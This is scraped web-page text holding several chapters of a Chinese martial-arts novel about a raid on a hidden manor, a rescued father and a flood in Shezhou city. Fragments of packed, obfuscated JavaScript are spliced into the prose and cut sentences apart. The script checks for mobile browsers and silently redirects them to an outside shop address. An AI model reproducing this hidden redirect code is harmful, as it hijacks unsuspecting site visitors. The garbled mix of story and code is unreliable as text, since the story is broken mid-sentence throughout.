l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036720|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下松了一口气,跟上他们的步伐。 暗庄位于谷底尽头,背靠山壁,左右被茂密树林及高耸山崖环绕,仅正门对着唯一通往外面的一条路。如今虽然瞭望台的人被解决了,但以防正门还有人把守,他们只能翻墙而入。 陈暖刚进院子,一柄泛着寒光的剑就送到自己面前,她侧身躲避,顺便将刚从墙头跳下来还没站稳的许和意拉到自己身后。 陈暖这才发现李昕蓉早已被李升泰带离了这里,她看着手握剑柄的陆玉芳,开口问:“夫人这是何意?” “看来是早就能说话了……”陆玉芳见对方索性也不装了,便剑指着这二人,冷声问,“说,接近我儿,到底是何目的。” “夫人放心,我们二人并无恶意,只是想进这暗庄。如今已经进来了,那就劳烦夫人替我给令嫒转达这一路相护的谢意。” 其实这一路上陆玉芳和李升泰一直在关注这二人的行为,他们确实没有害人之举,且那男子基本只在这位女子身边,并没有想要攀附自家女儿的迹象,要不然岂能留他们到此时? 陈暖看着陆玉芳离开的背影,对还在低咳的许和意道:“别装了,走了。” 许和意硬生生压住想要上涌到喉咙里的血,调整自己错乱的内息,听到陈暖这句话,他第一次体会到了有口难辩的感觉。 “叮——” 陈暖将破空飞来的利剑挑飞,一把带着猎猎罡风的大刀又紧随而至,许和意拔出佩刀将其硬生生挡下。 “咦?竟然还没死?” 伴随着疑问声,隐于虚空中的一名女子踏月而出,脸上虽蒙着面纱看不清面容,但一双蓝灰异瞳似猫一般狡黠。她嗓音柔美,但吐露出的话语却令陈暖心中一沉。 陈暖回头,刚好看到许和意将嘴角渗出的血擦掉,并听到他说了句“无碍。” 那女子从虚空中落在院中一根灯柱上,听到许和意的话后忍不住“噗嗤”笑出了声:“都如此境地了,公子还能说出‘无碍’二字,可真真是让人感到不悦啊……” 陈暖感觉到空气有一刹那的振动,四周似是突然被一个透明罩子笼罩,所有声音瞬间消失。毫无防备地失去听觉,让陈暖有瞬间的晕眩之感,但长期养成的对杀意有敏锐感知能力的她,翻身躲过了横空劈来的一刀。 待她一息后适应了此时境况,立刻回头看向许和意,只见那人已经闭眼盘腿在原地打坐,衣领处赫然是一片猩红。 陈暖探出手去诊他的脉,还未触及到他的手腕就被抓住了,她语气阴沉地对许和意道:“许和意,我不留废物。” 许和意听到后轻声笑了一下,睁开眼看着她,摇了摇头道:“真的无碍,只需调息半刻钟就好。” 陈暖听到他如此说,也不再纠缠,将手从他的掌间抽离,拿起他身边的刀拦住刚飞至许和意身后的剑。 “故弄玄虚。” 陈暖话音落后,便将袖间绑着的蚕筋线缠绕到光生剑的剑柄处,随后向空中将手中的剑抛掷而出。 锐利的剑尖朝上,在蚕筋线生出数根后,那柄剑也随之分成数柄。她用手中的刀砍向中间剑柄处的墨玉处,刀身还未触及玉身,便被其中存储的内力振开,只见悬于空中数柄的剑身随之振动。 也就一刹,原本消失的声音瞬间恢复—— 月璃的“梦术”破了。 “铮”的一声从身后传来,陈暖还未回头,余光就看到一根上刻流云仙鹤纹的扇骨直直插入地面。 25. 以水淹城 铁扇与重刀相碰时不时发出刺耳的碰撞声,陈暖翻身一脚踢开飞向自己的一根扇骨,看向正在和日璋缠斗的喻九秋:“喻公子看来对我先前瞒你一事还积怨在心,这就开始行报复之举了?” 喻九秋躲过日璋的攻击,一个后撤,接住了被陈暖踢飞的那根扇骨,然后一个旋身落在许和意身后。他看着站在许和意前方的陈暖,知道她说的是那日夜探温家的事,便脚底轻踏,握紧手中的折扇,向陈暖疾冲过去。 陈暖只觉眼前一晃,随后听到身后武器相接的声音,他已经站在自己的身后。 “何必报复?让你们心中对我有愧即可。” 陈暖听到他这一句话,不禁低笑出声。 月璃这回看清了这把扇子的主人,寒声道:“又是你。” 喻九秋朝着站在屋顶上的月璃,和刚站到她身边那身材魁梧的日璋挥了挥手,笑道:“好巧,又见面了。” 月璃眼神怨毒地看着他,跟日璋说了句“撤”后,曼妙身形在月色中隐去。日璋将大刀抗在肩上,在屋顶上几个起跳也消失在黑暗中。 陈暖指了指已经空无一人的屋顶,侧身问喻九秋:“你们这是?” “当然是为了这个。”喻九秋将怀中的一截神山衡拿出来,又在手中抛了抛,然后丢给陈暖。 陈暖顺手接住,问他:“这就给我了?” “假的我要来何用。”喻九秋毫不在意,目光看向还在打坐的许和意,“你们这又是……?” 陈暖看着许和意面色不似先前苍白,虽然不知他为何能自行解毒,但如今看来,这毒……他确实解了。 “等他解毒呢。” “还要多久?” “快了。” 陈暖这一句“快了”也才话音刚落,许和意就缓缓睁开了眼。 那月璃用毒定是极狠,可这还不到半刻钟就被他解了毒。就算他先前吃的那颗药丸有解毒之效,也不至于能解百毒,那么只能是他自身…… 许和意睁开眼后,入目的便是陈暖那带有探究意味的眼神。他只当做没看到,借着喻九秋的力站了起来:“多谢。” 喻九秋也不问他因何中毒,又是如何解毒,只是道:“那就继续?” 于是三人便继续查探这暗庄,期间遇到不少查探和争夺神山衡的人,因此也免不了交手。 许和意用刀柄将来人打晕,陈暖觑了眼那晕过去的人,随意道:“这给你下药,还对你下狠手的人就这么放过了?” 许和意没想到陈暖竟然还记得当时同他一起下山时左右人的模样,又看了眼躺在地上的人,道:“毕竟是长风门的公子,我可不敢得罪。” 陈暖嗤笑一声,将手中的火把凑到旁边的灯柱上点燃,继续往前走。 被百清堂堂主记住门派,可不是一件好事。 走在她前面的喻九秋也听到了这句话,同样摇了摇头,避开脚边的尸体,借着火把跳动的光芒,踏上通往到幽暗地下的阶梯。 这里是暗庄最后一处没有被他们搜寻过地方,根据脚下横躺着的尸体数量,可以判断此地曾发生过乱战,估计这些人都觉得最不易被人发现的地方,就一定会有神山衡存在。但从台阶两边没有被踩踏过的位置上所堆积的灰尘来看,这个地方基本已经被废弃很久,以至于连日常的守卫都不会来此。 “咳咳——” 陈暖一进来就被空气中漂浮的灰尘和难闻的异味呛了一下,她拿着火把照了照四周,看着喻九秋同许和意拿着火把各自分开围着这个暗室绕了一圈,也大致看清了轮廓。 这个暗室呈四方形布局,四周的墙壁从纹路看,与暗庄外面的山壁并无二致,看来是直接将山壁硬生生凿出了一方空间。这暗室不算很大,却给人一种压迫感,许是因为密不透风还暗无天日的缘故。暗室上方有六根通体黝黑,如碗口般粗细的铁链垂落到地上,其中有四根完全陷入地下,似是一个无形的囚笼。 “怎么了?” 陈暖见他们二人一人盯着一根铁链看,走上前也仔细看了下。其上有早已干涸的血迹和被利器刮蹭过的痕迹,虽凌乱但走势基本一致,很明显是用材质极硬的鞭子长期抽打而成。 许和意将那日在城东南一处宅院里发生的事情同陈暖大致讲了一下,陈暖看着正在认真检查此间暗室是否还有其他隐藏空间的喻九秋,一边同他一起检查,一边问他:“你从何处得知的消息?” “昨日下午百清堂派人来告知我,说有人在阁楼上看到前一段时间那处宅院有人频繁进出,且经过盘问周边住户得知还有土夫子鬼祟出入。百清卫对他们经过一番调查和问话后,就告诉了我这个地方。”喻九秋说完,便对正在检查墙壁上有无机关的许和意说了句“多谢”。 许和意冲他摆了摆手道:“分内之事。” 接下来三人就开始寻找这间暗室有没有其他机关或密道,可最后任凭他们怎么敲敲打打,依旧毫无所获。 他们三人重新站在入口处,望着空荡荡的暗室内唯一存在的东西。 “……砍了?” 陈暖虽然嘴上在问他们,但脚步已经先他们迈出去,蚕筋线也被她拿在左手中,光生剑上的墨玉在隐隐发出亮光。 虽然这铁链很有可能是个陷阱,毕竟没人知道这个暗室的构造,也不知道若是砍断这里会不会瞬间倾塌…… 许和意站在入口处,喻九秋站在中间,陈暖则站在前方最靠近铁链的地方,三人站成一条线,彼此都在自己能触及到的最大范围内,以防突发变故。 光生剑在陈暖手中开始震颤,原本墨玉上因为注入内力而微微亮起的微光也已消失,空气似乎已经凝滞,只有陈暖手中的剑正蓄势待发。 只见她轻挽了个剑花,剑身瞬间迸发出银芒,她用剑横扫而过,那六根铁链先是无声震动了一下,随后断裂触地的声音在寂静的暗室显得尤为刺耳。 三人不约而同地屏住呼吸,等待接下来要发生的事。 一息后,一声沉闷钝响从上方传来,紧接着有灰尘簌簌落下,随后一个四方石块凭空从房顶露出,也就停顿了一霎后,迅速下坠。 “小心!” 喻九秋立刻上前拽住陈暖刚伸过来的蚕筋线,将她扯到自己身边。 与此同时,一剑、一刀和一扇一齐脱手而出——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047851|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在巨大石块落地前给底部一个缓冲,减缓那急剧下坠的速度,待武器撤去,然后只听“咚”的一声闷响,震得整个暗室都微微一颤。 三人待灰尘不再落下,彼此对视了一眼,谨慎上前。 这巨大石块恰巧落在陷入地下的那四根铁链之间,可以说是严丝合缝。他们绕着这石块走了一圈,没有发现任何裂缝。 喻九秋拉住旁边一根铁链,连踩几下石块,翻身一跃而上,因为毫无防备差点踩空跌进去。惊得陈暖连忙用蚕筋线拉住他,待他稳住身形后也跃上了这石块上方。 “这……” 陈暖看着眼前这景象,见喻九秋正要作势跳下去,立刻拦住了他:“我来。” 许和意因着还不能多用内力,无法用轻功上去,就在下面等着。他看到陈暖用蚕筋线从底部将一个人拉了上来,心下已经有了猜测。 许和意探手去把刚被喻九秋轻放到地上的人的脉象,微微松了口气,拍了拍一直沉默但眼眶已经泛红的喻九秋,道:“虽然脉息微弱,但生机尚存。”说完就将怀中的一颗药丸送入那人的口中。 陈暖看着躺在喻九秋怀里的人,蓬头垢面,身上满是血污和累累的伤痕。她又想到刚才看到那石块内部的景象,那石壁上一道道因攀爬而印上去的新旧交替的血手印,不禁心中发寒。 她不敢去想这位曾经受人尊崇的一代大侠,在这里被关了多久,又受了多少折辱。 “什么动静?”陈暖停下脚步,目光投向暗庄门口左侧。 喻九秋停下脚步,将背上的人又往上扶了扶,侧耳凝听:“好像是水声。” 许和意不解:“哪里来的水?” “救人重要,你们先走。” 陈暖说完就脚步轻点,往左侧飞去,几经确认,最后落在一处偏僻的角落。她踩了踩脚下的青石板,没有松动的迹象,又用手中的剑鞘磕了磕,听声音并没有异样。她踩上旁边的灯柱,跳到房顶上,用剑气劈开那一片的青石板,水瞬间漫上来。 到底是哪里来的水?此处虽在山谷,尽管有溪流,但不至于水量大到能顺着暗道还流入这里,要不然早就被有心之人利用…… 陈暖脸色一沉,她已经知道这水到底是从何处而来! 她立刻回头,将暗庄内还气息尚存的人都放到最高处的屋顶上,然后踏枝离去。 许和意正驾着马,突觉身后有人靠近,正要施招,余光却瞥见一只以绑绳束袖、晕染着水墨纹的袖口,自己还未伸出去的手被她压下。 “继续走,不要停。”陈暖替他拉紧缰绳,让已经慢下来的马重新提速,“暗庄里的暗道内有水溢出,城内又暗道众多,估计水淹是更严重。许大人,此一去,怕是龙潭虎穴。” 许和意听完陈暖所说,心中立刻有了判断,他不再多说什么,只是将马速提得更快。而陈暖跟他说完这段话后,就施展轻功离开。 此刻还并未到五更开城门的时辰,陈暖就看到城外聚了许多想要入城的百姓。 殊不知涉州城内的百姓为了寻得一线生机,拼命想要出城,却被人远远与城门隔开,生怕哭喊声传出城外。 26. 城内 “已经到了开城门的时候,为什么不让我们进城!” “快开城门!” “护城河的水眼见着涨得越来越高,城内不会发了水灾吧!” 此话一出,城外百姓安静了一瞬,随即哗然一片。 就在群情激奋之际,城门开了,紧接着就是一队人马搬着沉重的拒马将其摆在城门外,同时城门下方也站着几队人,呈防守的姿态。有眼力极好的百姓在守备军们身影交错站到城门下方时,看到城内大门周围都摆着沙袋。 一个百姓指着已经被守备军挡住的城内,望着周围开始排队等入城的人,大声喊道:“真的发了水灾!我看到了!” 这带着非常确定的口吻所说出的话,令大多数人都不约而同地往后退,更有甚者取消了入城的打算。 毕竟进城卖货,总不可能把命丢在这。 “咚——咚——咚——” 城门楼上的鼓楼里,那面巨大的由黄牛皮绷紧而成的牛皮鼓被急促敲响,声如惊雷般响彻城内以及城外。百姓们纷纷停止交谈与行走,抬头望着城楼上那用力敲鼓的人,以及站在敲鼓人旁边的另一个身着官服的男子。 那位身着官服的男子凡是常出入涉州城的人都知道,是望涉司的指挥史张铸。而另一位因着半边脸隐在暗处,整个人又处在昏暗的鼓楼内,教人看不清容貌。 那敲鼓人确定城内外百姓都已经警觉,便将手中的鼓槌放在两侧,走出鼓楼拾级而下,最后站在张铸的旁边。他那原本隐在黑暗中的半边脸,这回彻底暴露在众人的视线中—— 一边脸的眉目看着清俊雅致,眼间是万千柔情,令人如沐春风;而另一边脸则是布满了崎岖的纹路,似是被火灼烧过,扭曲的疤痕呈粉白色,几乎爬满了半张脸,在晨光下更显骇人。 而城内外的人大多数都已认出了他,开始惊呼,语气中都难掩激动: “是‘半边鬼’谢景云!” “是城主!是谢城主!” 谢景云转身,看着站在满是积水,一片泥泞的道路上的百姓,垂在身侧的手握紧成拳。 而城内的人在他转身后也看清了他的脸,都喜极而泣: “真的是谢城主!” “太好了,我们有救了——” 陈暖看着身边百姓脸上的笑容,听着他们此起彼伏的言语中满是希冀,她又抬头望向那个人,突然无声地轻笑。 这座城内有以假乱真的神山衡,有居心叵测的温凌萱,有正被追杀的恶徒崔书雪,更有“死而复生”的半边鬼谢景云…… 可真是有趣。 “诸位,城内突遭水灾,形势危急。眼下水源虽已查明,但要想彻底堵绝水势,还仍需半刻光景。之后的排水、防疫等诸般事务,还望诸位能如从前一般,与我一起,同心协力,共担此责,务必守住我们共同的家园!” 谢景云的声音虽然不高,但干净清冽的声音中蕴含着内力,能传到极远处,也让人听了顿觉心中有了力量。 “同心协力,共担此责!” 不知是谁在人群中呼喊,城内众人也一齐振臂高呼。 谢景云转身看向城外,知道那原本翘首以盼等待入城的百姓,此时多数人都已生了退却之心。 “城外诸位,正如我方才所言,如今城中形势危急,城内水灾尚未平息。为保诸位身家性命,还请暂且远离这座城池,切勿贸然靠近。倘若有愿助一臂之力的江湖义士,涉州城的城门,今日为你们敞开!”语毕,原本拦在城下的拒马被守备军移开,城楼下站着的几队人也各自分开,留下仅供一人通行的道路,“本城主就在此先提前谢过诸位义举!” “我来——” “我也加入!” 人群中接二连三有人出列,义无反顾地踏进这座城门。 许和意站在靠近城门口最近一家的酒楼的窗户边,看着进城的人。待城门最后彻底关闭,窗边另一侧一直在画像的苏泰也停下手中的画笔,将最后一张墨迹还未干的画像吹了吹,递给身边捧着画匣的人。 许和意吩咐一直站在旁边的周庚云:“去对着挨个检查一下,看看有没有别有用心的人混进来。” 苏泰擦了擦额角沁出的汗,揉着乍一放松下来就开始泛着隐约疼痛感的手腕,走到许和意身边等着他后续的安排。 许和意拍了拍他的肩膀,道:“再去写一个‘今日可动用内力,但不可私斗’的示谕,然后你就去休息。” 苏泰听后心中一惊,虽说百清堂堂主有先斩后奏之权,但若是城内能动武,哪怕就一日,万一有江湖人不守规矩,趁此开启乱战,那后果不堪设想。于是他立即开口,想要阻拦:“大人,这……” 许和意知道他在顾虑什么,也不再多做解释,只是道:“事急从权,去吧。” 苏泰见自家公子打定了主意,也不再多说,立刻领命就离开酒楼办事去了。 许和意又看了眼城楼上正在交头接耳的谢景云和张铸,关上了面前的窗户,往门外走去。他路过几间房门,最终在最靠近楼梯的那间房门口停下了脚步。 屋内的喻九秋听到敲门声,警惕地望着门外的人影,起身打开了房门。待看到门外的人后松了口气,给他让了路。 许和意看着躺在床榻上的人,压低声音问他:“情况如何了?” 喻九秋长长舒了口气,道:“好在送来得及时,后面只需要安心静养即可。” 说到这,喻九秋便给许和意鞠躬行了个大礼,许和意连忙拉住他,皱眉问他:“这是为何?” “为你的那一颗救命药丸。”喻九秋不知道那药丸到底是由什么珍稀药材制成的,单从刚才救治的大夫神情和表述来看,这颗药丸怕是凝聚天材地宝而成。 许和意听后笑了一下,看着那病榻上呼吸平稳的人,道:“能救人就行。” 喻九秋听到楼下忙碌的脚步声,还有时不时传来的舀水声,对许和意道:“许大人若是有空,还劳烦陪我去一个地方。” “私下里也不必喊我大人,再说,我们之前不是还结义过。”许和意打趣他,随他一起出门。 喻九秋笑了笑,没有再多说话。 当初如此匆忙地结义,本就是当时情绪使然,后来也没有人再提,说起来他们四人其实并未将这件事放在心上。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054477|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无论何事、何人,最终还是日久见人心。 但这人心,也是最捉摸不透的,多的是人笑里藏刀,心口不一,难测深浅……就像此时他们面前遇到的这位—— “九秋哥哥!” 温凌萱将刚盛好的一碗热粥递给路边正清理积水的百姓,起身就看到喻九秋同那位百清堂的堂主往这边走来,原本忧虑的神情顿时变得愉悦,立刻朝喻九秋迎了上去。 许和意知趣地往外走了一步,给温凌萱腾出位置,顺手扶住刚路过自己身边差点歪倒的拖车。待他看清那拉拖车的人,眼中闪过一丝惊讶,然后默不作声地帮她一起往前推。 喻九秋看了一眼不远处正在倾倒泥土做土堤的陈暖与许和意,感觉到自己的袖口在被人来回拉扯,收回目光看向温凌萱,问她:“你的伤势如何了?” “好多了,多谢九秋哥哥托人送来的药材,真的很有用。”温凌萱认真对他道谢,然后仔细观察他的模样。 喻九秋被她盯得浑身不自在,忍不住问:“看什么?” “看九秋哥哥神色相比之前舒缓许多,是寻到喻伯父了吗?” 温凌萱见他点头,立刻夸张地大松了口气:“那就好、那就好,这样九秋哥哥总算能相信我并没有把伯父藏起来。” 喻九秋听出了她话语中明显的埋怨意味,对她低声说了句“抱歉”后,也没再多说别的。 可能是因为多年未见,温凌萱这个人,他现在着实有点看不透。以为她另有目的的时候,偏偏又对自己做得毫无保留;以为她面善心狠的时候,偏偏此刻她眼中对别人的关怀并不掺假……那么,到底哪一个才是她? 喻九秋看着她,说:“你先忙着,我还有事。” “九秋哥哥,等一下……”温凌萱连忙叫住他,走到他身边,“你是不是要去粮行?” 喻九秋点头,问她:“你怎么知道?” 温凌萱看了一圈四周忙碌的人,有的人正在扫店铺里的积水,有的人在清理道路上的淤泥,有人在拉土制作沙袋或者垒简易的土堤,还有懂点医术的人在进行基础的防疫…… “这灾祸一出,多数人家的粮食怕是都浸了水,虽说发现得及时,但能晒回来的不过十之六七。我想你定是担心有奸商借此哄抬粮价,想着先用丰谷粮行的粮食来应急。刚好温家城外的别院也有一些余粮,也能接济一二,我稍后便吩咐人准备一下。届时还需要九秋哥哥找粮行的人走一趟,清点一下粮食数量。” 刚走过来的陈暖与许和意恰好听到了这句话,心中难免震惊。陈暖想了想,对喻九秋和温凌萱道:“可即便是丰谷粮行和温家的余粮,怕也无力拿出能稳定城中粮价的数量。” “我一会儿就让人飞鸽通知骆老板,从周边几个州的粮行筹措些粮食来。”喻九秋说完看向许和意,“所以才想着请许大人从旁做个见证,以示此次赈灾并非征得百姓的粮食。” 许和意作揖道:“那本官就替城中百姓多谢丰谷粮行和温家的善意之举。” 陈暖也跟着向他们二人行礼道谢。 水灾的起因固然需要调查,但城内眼下最迫在眉睫的,确实是粮食问题。 27. 暗流涌动(上) 辰时刚至,往常这个时辰,温家的仆从杂役早就该洒扫庭院、预备膳食了。但今日却都立在檐下,不敢轻举妄动,只因这温家主人正在发着滔天怒火。 “到底是怎么回事?” 依旧是一贯温婉柔和的嗓音,可那嗓音里裹挟的怒意,却教堂下跪着的人通体生寒。 张铸绷紧面皮,目光只敢盯着双脚下的几块石砖,大气都不敢出。 乔鹤自知因一时疏忽而大难临头,哪怕此刻心中惊惧万分,还是一五一十向堂上正斜斜靠在美人榻上的温凌萱禀报了当时情形。 温凌萱看着手上不饰半点花纹,但釉色莹润如古玉般的青瓷杯,听着乔鹤讲的话,纤指时不时转弄杯身。落入窗棂的朝阳照在杯身上,通透得仿佛能映出她指尖的纹路。其杯壁上的缠枝纹也若隐若现,似有盈盈流光在那暗纹上游走。 待他将话讲完,温凌萱就一口饮尽了杯中苦涩无比的汤药。 “啪——” 青瓷杯碎在乔鹤身侧,四处迸溅的碎瓷擦过他和张铸裸露在外的皮肤,一道道血丝开始缓慢渗出,尽管如此他们依旧还是一动不动。 张铸斜眼看着扎进自己手背上的瓷片,那一瞬间的刺疼是一回事儿,更让他感到心疼的是这世间独一无二的玉瓷就这么碎了,懊恼自己刚才应该用身体垫在这瓷杯之下。 “我借着神山衡的由头将那二人支开,你倒好,这城内发水灾,城外也发水灾,竟叫那二人提前回转。”温凌萱冷眼看着乔鹤,然后目光移向一进屋就闷不吭声站在那的张铸,“还有你。” 落在身上的寒凉目光,让张铸下意识将背挺得更直,不得不谨慎措辞:“事发突然,为了安抚民心,只能暂将那谢景云请下山。没提前告知小姐,是在下的不是。不过小姐放心,这人露了一面后我就已遣人将他送回。” “送回?”温凌萱冷笑了一声,看着他,从塌上坐起,“怕是他这边刚一露头,永城那边就收到了消息。” 张铸深深作揖,不敢再多说,人精般的他听出了温凌萱的未尽之言,只静静等着她说完后面的话。 “不过念在此举以城中百姓为先,积了声望,又让他们成功入了城,算你将功折罪。至于那谢景云……”温凌萱缓步走向廊下,遥望东南,语调轻柔,但屋内其他人听了后,仿佛坠入了无边地狱。 “何必送回大成寺,直接将他送回永城,给他们一个大礼。” 张铸只觉头皮发麻,他嗫嚅了几下,想出声回应却感到嗓音干涩,只得轻咳了下嗓子才哑声回了句“是”。 在涉州,虽然城主身份并无实权,但谢景云起码还能用这个身份作遮挡。可这一旦回了永城,他怕是直接会危及性命—— 毕竟那里有一个疯子在等着他。 旭日朝阳已经东升,照得天地间一片敞亮,却唯独照不亮那永远的背阴之地。 用铁浇灌而成的屋子内仅留两扇快要近及屋顶,仅有手掌张开般大小的小窗。铁屋外面用砖块垒成砖墙,乍一看竟跟城内其他房屋别无二致,只有沉重铁门开合的声音透着不同。 屋内虽无阳光,但熠熠烛火照亮了满室,也让坐在床上的人将手中信件内容看得分明。 那人衣着整洁,苍白似雪的脸上现着因喜悦而露出的癫狂之色,黑色衣衫下一副羸弱的身躯正控制不住地在隐隐颤抖。信被他骨节分明的手攒成一团,手指陷入掌心肉里,鲜血从他指尖滴落到自腕间垂落下来的锁链上,再重重坠到地上。 “找到了……哈哈哈哈哈哈哈找到了……” 温凌萱收回望着东南方的目光,一想到那二人未来见面时的情景就难掩心中趣味,顿时心下也松快许多。她靠着廊柱,斜睨了眼还跪在那的乔鹤:“点一些人手去城外别院把粮食备足,待把粮食交到丰谷粮行手里,你就在那别回来了。” “遵命。” 张铸看着乔鹤离开的背影,心中咂舌不已。他一直听说乔鹤于温凌萱有救命之恩,虽不曾打听到详情,不过这次他的办事不力换到任何一个人身上不是会脱层皮,就是要去掉半条命。然而最后只落得个将乔鹤驱逐到别院的下场,足以可见这二人关系非同一般。 再想到自己,还好扯了个百姓的大旗挡在身前,要不然陪谢景云去永城的要命差事就要落到自己身上。 “今日进城的人免不了要被百清卫盘查,去交代清楚了,让他们知道什么该说,什么不该说。”温凌萱回头看向张铸,见对方一脸欲言又止的模样,蛾眉轻蹙,不悦地开口,“想问什么直接问,吞吞吐吐看着碍眼。” 张铸连忙小步上前,试探问道:“置办婚宴的场地已经暂定了一家,就在城北第二大街第一户。那里曾是一位富商旧宅,前几日举家搬离了涉州城,宅子就空置下来。昨日房牙子也带着看了,空间大、位置好,在下觉得再合适不过了。” 他一口气说完就偷偷瞟了一眼面露不耐烦的温凌萱,最终问出铺垫了这么久,他最想问的一句话:“等城中水灾诸事安顿了,在下再找人布置?” 温凌萱冷笑了一声,反问他:“为何要等?” 张铸可不敢回她这句话,又再次恢复了低头不语的常见模样。 温凌萱懒得再同他多讲,说了句“一切照常”后就将他打发走了。待他们都走后,她看着空无一人的院子,突然忍不住发笑。 看来,自己和九秋哥哥的婚事从头到尾就没有人真心认为会成,那自己可要努力让他主动上门来求娶了…… “哪里来的消息?”喻九秋轻掩上门,拿着手中的信,问为了送信而跑出来一身汗的小厮。 那小厮立刻从怀里掏出一块青色玉佩,喻九秋将其拿在手心,又将身后刚才拉紧的木门打开了一条缝隙。光从门缝中泄了进来,照在玉佩身上,随着他的晃动,其上雕刻的五谷栩栩如生,内里隐约一个“骆”字正逐渐显现。 喻九秋透过门缝看了一眼还躺在病榻上陷入沉睡的父亲,叮嘱了一下门口守卫的人,就面色凝重地将门扉再次掩上,快步下了楼梯。 “哎,喻公子!”周庚云刚踏上台阶就迎面看到喻九秋在匆忙下楼,撤回脚步在楼梯下等他。不用自己再多说,看对方的神情就知道他已经知道喻家出事了,便将手中的信递给刚下来的喻九秋,语速极快道,“上京州来信,事关喻家,公子遣我来送信。” “多谢。”喻九秋拿上他递过来的信,就立刻走出酒楼,骑上外面早就准备好的快马,朝着丰谷斗店的方向驾马而去。 酒楼大堂内推杯换盏的声音不绝于耳,楼上的客房本就隔音极好,又因着天明,留宿的客人大多已然外出,便更显得静谧无声。 最靠近楼梯的那间客房,就连路过都能隐约闻到从里面飘出来的浓郁药味,足以可见里面的人伤得有多严重。可尽管如此,屋内躺在病榻上的人此刻却已睁开了双眼,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因何不太平?”喻九秋用手指点了点桌上摆放的信件,问,“既然知道要过众安道,为什么没喊六合镖局来护镖?” 另一位身材瘦削,但眼冒精光的掌柜回话道:“都是因为那横空出世的‘神山衡’。新篁镇那群刁民怀疑我们车队中藏有这宝物,仗着离官道甚远,官府来不及派兵,就索性明抢。”他说完重重叹了口气,“临出发前也找了六合镖局的人,但他们镖局里大多数的好手都为了找神山衡来涉州了,不止他们,其他镖局也是……” 喻九秋听到这算是知道了,这一切又是因为那劳什子的“神山衡”。 喻九秋看着最上面,今早许和意手下送来的信,问:“百清卫那边怎么说?” “事发突然,他们那边得到消息的时候,车队就已经被那群刁民扣下了。不过一刻钟前刚收到消息,说百清卫连同官府的人已经出发,但……” 穷山恶水出刁民,在巴蕴,粮食可比金子珍贵多了。一旦进了他们的口,怎么可能还会吐出来。 这个道理喻九秋包括在座的各位掌柜都懂,但偏偏这回喻家运送的粮食数目不小…… 喻九秋沉吟了片刻,然后冷笑道:“既然他们这么想抢,那就同官府去抢吧。让骆掌柜修书一封,呈递给户部,就说喻家要给巴蕴捐粮。” 此话一出,掌柜们纷纷交头接耳。喻九秋只是静静喝着茶,等他们商议出个结果。可茶还没喝几口,前院就匆匆赶来一人,喻九秋一眼认出他是父亲门前的守卫,心下顿时心跳加速。 在听完守卫的汇报后,喻九秋也不再等掌柜们商量的结果——因为这是眼下最佳的解决办法,直接留下了一句“照办”后就立刻出了门。 28. 暗流涌动(下) “父亲!” 喻九秋刚踏进屋内就看到床上的人已经苏醒,一名医者正坐在床边替他把脉。 喻典闻声转头,原本黯淡无光的眼睛瞬间变得有神,布满细小伤痕的脸上带着喜极而泣的笑容,另一只空着的手向他伸去。 喻九秋半跪在床边握住他颤颤巍巍的右手,看着他已经有些泛白的两鬓,有一瞬间的恍惚。 当初他尚是少年,记忆里的父亲从来都是气质不凡、神采奕奕的,如今竟被人磋磨到这般浑身是伤的地步…… 喻九秋见大夫将把脉的手收回,立刻焦急地问:“情况如何?” 那名大夫看了一眼病榻上伤痕累累的人,又看着眼前一脸担忧的公子,眼中闪过一丝迟疑,最终道:“令尊没有什么大碍,还好之前身强体壮,底子好,现在身上的伤只需卧床静养即可,我稍候就写一个对症的方子。” 喻九秋听后轻轻松了口气,叫屋内一个守卫跟着大夫出去抓药。 那名大夫走出屋子后又看了眼里面父慈子孝的温情画面,脸上闪过一丝不解的神情,直至门被掩上,他轻声嘀咕着跟守卫下了楼: “真是怪了……” 喻九秋给喻典喂完水,将枕头垫到他的腰后,便坐在床边看着他,一言不发。 喻典看着眼前经过十年时光,已经长大成人,变得玉树临风的儿子,眼眶不禁湿润,沙哑的嗓音里带着颤抖:“对不起。” 喻九秋听他这一句“对不起”,瞬间感到鼻头发酸,侧头看向窗外。 他对眼前的父亲有千言万语的质问,有隐隐的愤恨,想问他为何狠下心十年漂泊在外,又为何多年杳无音信。可在见他醒来的那一刻,一切都忽然不重要了,只要他活着就好。 喻典看着他面无表情的侧脸,并没有错过他扭头时泛红的眼眶和强忍着但依旧在微微颤抖的下巴,长长叹了口气,伸手拍了拍他的肩膀。 室内顿时一片寂静,只有从窗外传来街上的交谈声。 喻九秋平复完心情后,转头看着他,皱眉问:“这到底是怎么回事?是谁把您……” 喻典见他不忍说下去,反握住他的手,同他讲了这十年间他外出发生的事。 十年时间,对沉浸在失去妻子的悲痛欲绝中、整日借酒来麻痹自己的人来说并不算长;但对这十年中有五年都在囚禁里度过的人来说,却是度日如年。 